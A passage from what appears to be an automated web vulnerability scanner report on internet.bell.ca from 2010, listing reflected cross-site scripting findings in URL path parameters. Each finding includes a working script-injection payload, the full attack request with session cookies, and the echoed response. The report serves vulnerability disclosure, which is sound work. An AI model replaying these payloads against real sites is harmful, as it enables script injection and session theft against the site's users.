Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:45 GMT
Connection: close
Set-Cookie: SMSESSION=HUZuiWcJfPTTCDHP3SZ2urM7ksaW/+KqpHwUQlInPUs8UYhIxjzORhbqgCx+xsVBdyQCA/ryQ62DEp6L2vcwyQBQknL27/r4IaA/gQGZAZFtuORxN4ONMBJde8zOfOo7r7wt3XT8lVrMXu+hfJeZTTxDLK+y79gaoZLg/+S1kTHC/xLsoMoxKOmVwEDj7q2Lp/9B4wk/ltgjOioeSIWmELD1DfPN1vlaTO9dG3bw36oqpuJ86jI8eL1v8gsAUmWFtfW75/SCf8vh8Aq3nDauW60rOdyGfK6GaYqsmdWWWkM0cE2fble8Jg==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:45 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:45 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:45 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:45 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:45 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:45 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:45 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:45 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:45 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:45 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js3569e"><script>alert(1)</script>cbee9e85d84/jquery.blockUI.js" />
...[SNIP]...

2.43. http://internet.bell.ca/js/jquery.blockUI.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery.blockUI.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 651cf"><script>alert(1)</script>8d7696b90c9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.blockUI.js651cf"><script>alert(1)</script>8d7696b90c9 HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:59 GMT
Connection: close
Set-Cookie: SMSESSION=XwZJvLo8CfYKA8uC6uESAXrvNDK5KT/5NVtzLNV8CB9Ksp9Aj1KK3kHNXN2VoFjacN4Exqxh0v1KF3NPRELOiEcss06evO8b/8oyDWKqFkHVLNieJyzfBmoQQIhKJcLSpEkdx/Kd5rhdscP2rZazDMdvtH91uNBhOqkBoBOsrgQI2fz2WJ74PxSe4slEp4hZ+zRWu6/rOP28NzZYqbGNyant8iNotCaQ12wm3CD55PY19Rox7AKh+R0GCwQwIZfAGNASoTc8ePQFcovTR1+7TR/nCFhOfJJS1r5zNWpzhECROaa53NVBFQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:26:00 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:26:00 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:26:00 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:26:00 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:26:00 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:26:00 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:26:00 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:26:00 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:26:00 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:26:00 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ut type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js/jquery.blockUI.js651cf"><script>alert(1)</script>8d7696b90c9" />
...[SNIP]...

2.44. http://internet.bell.ca/js/jquery.cfjs.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery.cfjs.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c1564"><script>alert(1)</script>91c987d6ba6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /jsc1564"><script>alert(1)</script>91c987d6ba6/jquery.cfjs.js HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:45 GMT
Connection: close
Set-Cookie: SMSESSION=IcAt3myhAtyu9QGUwOiOCSunpjc34tM+92eJ6effv/JEab/kVNy3NOdkz56tAT6/Pkt8kydI1qLcYyLYnTOFn4wSlZOA4qWACQyaYFNoNJLX6a6WVTv1an1DihI+Aqyx8puNvHK+I1rrb7wG/Rv85BnkSPFXUUfLp6Z7x9q7hMtC5YsKE9SinomCp2pwuwkkvp+Gdu4MhadjzM15uYkRtdd3ga3q9898blhlVT5iraUV882rgkl1FZIE4lDwkxWFKcQGik7udpVNPAQ3vjmxlPKXz9i5CMkNQzFEcpBouxHO/tcrZEYaFQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:46 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:46 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:46 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:46 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:46 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:46 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:46 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:46 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:46 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:46 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/jsc1564"><script>alert(1)</script>91c987d6ba6/jquery.cfjs.js" />
...[SNIP]...

2.45. http://internet.bell.ca/js/jquery.cfjs.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery.cfjs.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 58369"><script>alert(1)</script>44cbcbb7cdd was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.cfjs.js58369"><script>alert(1)</script>44cbcbb7cdd HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
